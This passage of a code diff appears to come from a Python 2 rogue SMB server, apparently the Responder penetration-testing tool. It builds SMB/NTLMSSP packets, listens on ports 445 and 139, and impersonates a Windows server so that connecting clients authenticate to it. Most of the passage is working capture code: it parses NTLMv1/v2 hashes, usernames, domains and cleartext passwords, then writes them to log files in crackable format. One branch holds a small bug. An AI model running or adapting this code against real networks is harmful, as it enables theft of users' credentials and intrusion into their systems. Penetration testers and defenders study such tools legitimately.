AsnLen= str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
|
||||
|
||||
CalculateSecBlob = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NTLMSSPNtWorkstationName"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
|
||||
|
||||
##### Bcc len
|
||||
BccLen = AsnLen+CalculateSecBlob+str(self.fields["NTLMSSPNTLMPadding"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
|
||||
#SecBlobLen
|
||||
self.fields["SecBlobLen"] = struct.pack("<h", len(AsnLen+CalculateSecBlob))
|
||||
self.fields["Bcc"] = struct.pack("<h", len(BccLen))
|
||||
self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3)
|
||||
self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6)
|
||||
self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
|
||||
self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"])))
|
||||
self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])))
|
||||
self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob))
|
||||
|
||||
###### Andxoffset calculation.
|
||||
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen
|
||||
|
||||
self.fields["Andxoffset"] = struct.pack("<h", len(CalculateCompletePacket)+32)
|
||||
###### Workstation Offset
|
||||
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||
|
||||
###### AvPairs Offset
|
||||
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
|
||||
|
||||
##### Workstation Offset Calculation:
|
||||
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
|
||||
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
|
||||
##### IvPairs Offset Calculation:
|
||||
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
||||
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
||||
##### IvPair Calculation:
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
||||
|
||||
##################################################################################
|
||||
|
||||
class SMBSession2Accept(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x04"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved", "\x00"),
|
||||
("Andxoffset", "\xb4\x00"),
|
||||
("Action", "\x00\x00"),
|
||||
("SecBlobLen", "\x09\x00"),
|
||||
("Bcc", "\x89\x01"),
|
||||
("SSPIAccept","\xa1\x07\x30\x05\xa0\x03\x0a\x01\x00"),
|
||||
("NativeOs","Windows Server 2003 3790 Service Pack 2"),
|
||||
("NativeOsTerminator","\x00\x00"),
|
||||
("NativeLAN", "Windows Server 2003 5.2"),
|
||||
("NativeLANTerminator","\x00\x00"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
|
||||
self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le')
|
||||
BccLen = str(self.fields["SSPIAccept"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
|
||||
self.fields["Bcc"] = struct.pack("<h", len(BccLen))
|
||||
|
||||
class SMBSessEmpty(Packet):
|
||||
fields = OrderedDict([
|
||||
("Empty", "\x00\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBTreeData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x07"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved","\x00" ),
|
||||
("Andxoffset", "\xbd\x00"),
|
||||
("OptionalSupport","\x00\x00"),
|
||||
("MaxShareAccessRight","\x00\x00\x00\x00"),
|
||||
("GuestShareAccessRight","\x00\x00\x00\x00"),
|
||||
("Bcc", "\x94\x00"),
|
||||
("Service", "IPC"),
|
||||
("ServiceTerminator","\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
|
||||
def calculate(self):
|
||||
#Complete Packet Len
|
||||
CompletePacket= str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["OptionalSupport"])+str(self.fields["MaxShareAccessRight"])+str(self.fields["GuestShareAccessRight"])+str(self.fields["Bcc"])+str(self.fields["Service"])+str(self.fields["ServiceTerminator"])
|
||||
## AndXOffset
|
||||
self.fields["Andxoffset"] = struct.pack("<H", len(CompletePacket)+32)
|
||||
## BCC Len Calc
|
||||
BccLen= str(self.fields["Service"])+str(self.fields["ServiceTerminator"])
|
||||
self.fields["Bcc"] = struct.pack("<H", len(BccLen))
|
||||
|
||||
# SMB Session/Tree Answer.
|
||||
class SMBSessTreeAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x03"),
|
||||
("Command", "\x75"),
|
||||
("Reserved", "\x00"),
|
||||
("AndXoffset", "\x4e\x00"),
|
||||
("Action", "\x01\x00"),
|
||||
("Bcc", "\x25\x00"),
|
||||
("NativeOs", "Windows 5.1"),
|
||||
("NativeOsNull", "\x00"),
|
||||
("NativeLan", "Windows 2000 LAN Manager"),
|
||||
("NativeLanNull", "\x00"),
|
||||
("WordcountTree", "\x03"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved1", "\x00"),
|
||||
("AndxOffset", "\x00\x00"),
|
||||
("OptionalSupport", "\x01\x00"),
|
||||
("Bcc2", "\x08\x00"),
|
||||
("Service", "A:"),
|
||||
("ServiceNull", "\x00"),
|
||||
("FileSystem", "NTFS"),
|
||||
("FileSystemNull", "\x00"),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
##AndxOffset
|
||||
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["Command"])+str(self.fields["Reserved"])+str(self.fields["AndXoffset"])+str(self.fields["Action"])+str(self.fields["Bcc"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
|
||||
self.fields["AndXoffset"] = struct.pack("<i", len(CalculateCompletePacket)+32)[:2]
|
||||
##BCC 1 and 2
|
||||
CompleteBCCLen = str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
||||
CompleteBCC2Len = str(self.fields["Service"])+str(self.fields["ServiceNull"])+str(self.fields["FileSystem"])+str(self.fields["FileSystemNull"])
|
||||
self.fields["Bcc2"] = struct.pack("<h",len(CompleteBCC2Len))
|
|
@ -1,333 +0,0 @@
|
|||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
def serve_thread_tcp(host, port, handler):
|
||||
try:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
|
||||
|
||||
#Function name self-explanatory
|
||||
def Is_SMB_On(SMB_On_Off):
|
||||
|
||||
if SMB_On_Off == "ON":
|
||||
if LM_On_Off == True:
|
||||
t1 = threading.Thread(name="SMB1LM-445", target=self.serve_thread_tcp, args=("0.0.0.0", 445, SMB1LM))
|
||||
t2 = threading.Thread(name="SMB1LM-139", target=self.serve_thread_tcp, args=("0.0.0.0", 139, SMB1LM))
|
||||
for t in [t1, t2]:
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
return t1, t2
|
||||
|
||||
else:
|
||||
t1 = threading.Thread(name="SMB1-445", target=serve_thread_tcp, args=("0.0.0.0", 445, SMB1))
|
||||
t2 = threading.Thread(name="SMB1-139", target=serve_thread_tcp, args=("0.0.0.0", 139, SMB1))
|
||||
|
||||
for t in [t1,t2]:
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
return t1, t2
|
||||
|
||||
if SMB_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
#Detect if SMB auth was Anonymous
|
||||
def Is_Anonymous(data):
|
||||
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
||||
if SecBlobLen < 260:
|
||||
SSPIStart = data[75:]
|
||||
LMhashLen = struct.unpack('<H',data[89:91])[0]
|
||||
if LMhashLen == 0 or LMhashLen == 1:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
if SecBlobLen > 260:
|
||||
SSPIStart = data[79:]
|
||||
LMhashLen = struct.unpack('<H',data[93:95])[0]
|
||||
if LMhashLen == 0 or LMhashLen == 1:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def Is_LMNT_Anonymous(data):
|
||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
if LMhashLen == 0 or LMhashLen == 1:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
#Function used to know which dialect number to return for NT LM 0.12
|
||||
def Parse_Nego_Dialect(data):
|
||||
DialectStart = data[40:]
|
||||
pack = tuple(DialectStart.split('\x02'))[:10]
|
||||
var = [e.replace('\x00','') for e in DialectStart.split('\x02')[:10]]
|
||||
test = tuple(var)
|
||||
if test[0] == "NT LM 0.12":
|
||||
return "\x00\x00"
|
||||
if test[1] == "NT LM 0.12":
|
||||
return "\x01\x00"
|
||||
if test[2] == "NT LM 0.12":
|
||||
return "\x02\x00"
|
||||
if test[3] == "NT LM 0.12":
|
||||
return "\x03\x00"
|
||||
if test[4] == "NT LM 0.12":
|
||||
return "\x04\x00"
|
||||
if test[5] == "NT LM 0.12":
|
||||
return "\x05\x00"
|
||||
if test[6] == "NT LM 0.12":
|
||||
return "\x06\x00"
|
||||
if test[7] == "NT LM 0.12":
|
||||
return "\x07\x00"
|
||||
if test[8] == "NT LM 0.12":
|
||||
return "\x08\x00"
|
||||
if test[9] == "NT LM 0.12":
|
||||
return "\x09\x00"
|
||||
if test[10] == "NT LM 0.12":
|
||||
return "\x0a\x00"
|
||||
|
||||
def ParseShare(data):
|
||||
packet = data[:]
|
||||
a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
|
||||
if a:
|
||||
quote = "Share requested: "+a.group(0)
|
||||
responder_logger.info(quote.replace('\x00',''))
|
||||
|
||||
#Parse SMB NTLMSSP v1/v2
|
||||
def ParseSMBHash(data,client):
|
||||
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
||||
BccLen = struct.unpack('<H',data[61:63])[0]
|
||||
if SecBlobLen < 260:
|
||||
SSPIStart = data[75:]
|
||||
LMhashLen = struct.unpack('<H',data[89:91])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[91:93])[0]
|
||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[97:99])[0]
|
||||
NthashOffset = struct.unpack('<H',data[99:101])[0]
|
||||
|
||||
if SecBlobLen > 260:
|
||||
SSPIStart = data[79:]
|
||||
LMhashLen = struct.unpack('<H',data[93:95])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[95:97])[0]
|
||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[101:103])[0]
|
||||
NthashOffset = struct.unpack('<H',data[103:105])[0]
|
||||
|
||||
if NthashLen == 24:
|
||||
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainLen = struct.unpack('<H',data[105:107])[0]
|
||||
DomainOffset = struct.unpack('<H',data[107:109])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[113:115])[0]
|
||||
UserOffset = struct.unpack('<H',data[115:117])[0]
|
||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
writehash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal
|
||||
outfile = "./logs/responder/SMB-NTLMv1ESS-Client-"+client+".txt"
|
||||
WriteData(outfile,writehash,User+"::"+Domain)
|
||||
responder_logger.info('[+]SMB-NTLMv1 complete hash is :%s'%(writehash))
|
||||
|
||||
if NthashLen > 60:
|
||||
outfile = "./logs/responder/SMB-NTLMv2-Client-"+client+".txt"
|
||||
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainLen = struct.unpack('<H',data[109:111])[0]
|
||||
DomainOffset = struct.unpack('<H',data[111:113])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[117:119])[0]
|
||||
UserOffset = struct.unpack('<H',data[119:121])[0]
|
||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
writehash = User+"::"+Domain+":"+NumChal+":"+NtHash[:32]+":"+NtHash[32:]
|
||||
WriteData(outfile,writehash,User+"::"+Domain)
|
||||
responder_logger.info('[+]SMB-NTLMv2 complete hash is :%s'%(writehash))
|
||||
|
||||
#Parse SMB NTLMv1/v2
|
||||
def ParseLMNTHash(data,client):
|
||||
try:
|
||||
lenght = struct.unpack('<H',data[43:45])[0]
|
||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
NthashLen = struct.unpack('<H',data[53:55])[0]
|
||||
Bcc = struct.unpack('<H',data[63:65])[0]
|
||||
if NthashLen > 25:
|
||||
Hash = data[65+LMhashLen:65+LMhashLen+NthashLen]
|
||||
responder_logger.info('[+]SMB-NTLMv2 hash captured from :%s'%(client))
|
||||
outfile = "./logs/responder/SMB-NTLMv2-Client-"+client+".txt"
|
||||
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
||||
Username, Domain = tuple(var)
|
||||
Writehash = Username+"::"+Domain+":"+NumChal+":"+Hash.encode('hex')[:32].upper()+":"+Hash.encode('hex')[32:].upper()
|
||||
ParseShare(data)
|
||||
WriteData(outfile,Writehash, Username+"::"+Domain)
|
||||
responder_logger.info('[+]SMB-NTLMv2 complete hash is :%s'%(Writehash))
|
||||
if NthashLen == 24:
|
||||
responder_logger.info('[+]SMB-NTLMv1 hash captured from :%s'%(client))
|
||||
outfile = "./logs/responder/SMB-NTLMv1-Client-"+client+".txt"
|
||||
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
||||
Username, Domain = tuple(var)
|
||||
writehash = Username+"::"+Domain+":"+data[65:65+LMhashLen].encode('hex').upper()+":"+data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()+":"+NumChal
|
||||
ParseShare(data)
|
||||
WriteData(outfile,writehash, Username+"::"+Domain)
|
||||
responder_logger.info('[+]SMB-NTLMv1 complete hash is :%s'%(writehash))
|
||||
responder_logger.info('[+]SMB-NTLMv1 Username:%s'%(Username))
|
||||
responder_logger.info('[+]SMB-NTLMv1 Domain (if joined, if not then computer name) :%s'%(Domain))
|
||||
except Exception:
|
||||
raise
|
||||
|
||||
def IsNT4ClearTxt(data):
|
||||
HeadLen = 36
|
||||
Flag2 = data[14:16]
|
||||
if Flag2 == "\x03\x80":
|
||||
SmbData = data[HeadLen+14:]
|
||||
WordCount = data[HeadLen]
|
||||
ChainedCmdOffset = data[HeadLen+1]
|
||||
if ChainedCmdOffset == "\x75":
|
||||
PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
|
||||
if PassLen > 2:
|
||||
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
|
||||
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
|
||||
#print "[SMB]Clear Text Credentials: %s:%s" %(User,Password)
|
||||
responder_logger.info("[SMB]Clear Text Credentials: %s:%s"%(User,Password))
|
||||
|
||||
#SMB Server class, NTLMSSP
|
||||
class SMB1(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
data = self.request.recv(1024)
|
||||
self.request.settimeout(1)
|
||||
##session request 139
|
||||
if data[0] == "\x81":
|
||||
buffer0 = "\x82\x00\x00\x00"
|
||||
self.request.send(buffer0)
|
||||
data = self.request.recv(1024)
|
||||
##Negotiate proto answer.
|
||||
if data[8:10] == "\x72\x00":
|
||||
#Customize SMB answer.
|
||||
head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
|
||||
t = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
|
||||
t.calculate()
|
||||
final = t
|
||||
packet0 = str(head)+str(final)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
self.request.send(buffer0)
|
||||
data = self.request.recv(1024)
|
||||
##Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00":
|
||||
IsNT4ClearTxt(data)
|
||||
head = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
|
||||
t = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge)
|
||||
t.calculate()
|
||||
final = t
|
||||
packet1 = str(head)+str(final)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(4096)
|
||||
if data[8:10] == "\x73\x00":
|
||||
if Is_Anonymous(data):
|
||||
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
||||
final = SMBSessEmpty()
|
||||
packet1 = str(head)+str(final)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
else:
|
||||
ParseSMBHash(data,self.client_address[0])
|
||||
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
final = SMBSession2Accept()
|
||||
final.calculate()
|
||||
packet2 = str(head)+str(final)
|
||||
buffer2 = longueur(packet2)+packet2
|
||||
self.request.send(buffer2)
|
||||
data = self.request.recv(1024)
|
||||
##Tree Connect IPC Answer
|
||||
if data[8:10] == "\x75\x00":
|
||||
ParseShare(data)
|
||||
head = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
|
||||
t = SMBTreeData()
|
||||
t.calculate()
|
||||
final = t
|
||||
packet1 = str(head)+str(final)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
##Tree Disconnect.
|
||||
if data[8:10] == "\x71\x00":
|
||||
head = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
final = "\x00\x00\x00"
|
||||
packet1 = str(head)+str(final)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
##NT_CREATE Access Denied.
|
||||
if data[8:10] == "\xa2\x00":
|
||||
head = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
final = "\x00\x00\x00"
|
||||
packet1 = str(head)+str(final)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
##Trans2 Access Denied.
|
||||
if data[8:10] == "\x25\x00":
|
||||
head = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
final = "\x00\x00\x00"
|
||||
packet1 = str(head)+str(final)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
##LogOff.
|
||||
if data[8:10] == "\x74\x00":
|
||||
head = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
final = "\x02\xff\x00\x27\x00\x00\x00"
|
||||
packet1 = str(head)+str(final)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except Exception:
|
||||
pass #no need to print errors..
|
||||
|
||||
#SMB Server class, old version.
|
||||
class SMB1LM(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.settimeout(0.5)
|
||||
data = self.request.recv(1024)
|
||||
##session request 139
|
||||
if data[0] == "\x81":
|
||||
buffer0 = "\x82\x00\x00\x00"
|
||||
self.request.send(buffer0)
|
||||
data = self.request.recv(1024)
|
||||
##Negotiate proto answer.
|
||||
if data[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
|
||||
t = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge)
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
##Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00":
|
||||
if Is_LMNT_Anonymous(data):
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
packet1 = str(head)+str(SMBSessEmpty())
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
else:
|
||||
ParseLMNTHash(data,self.client_address[0])
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
packet1 = str(head)+str(SMBSessEmpty())
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except Exception:
|
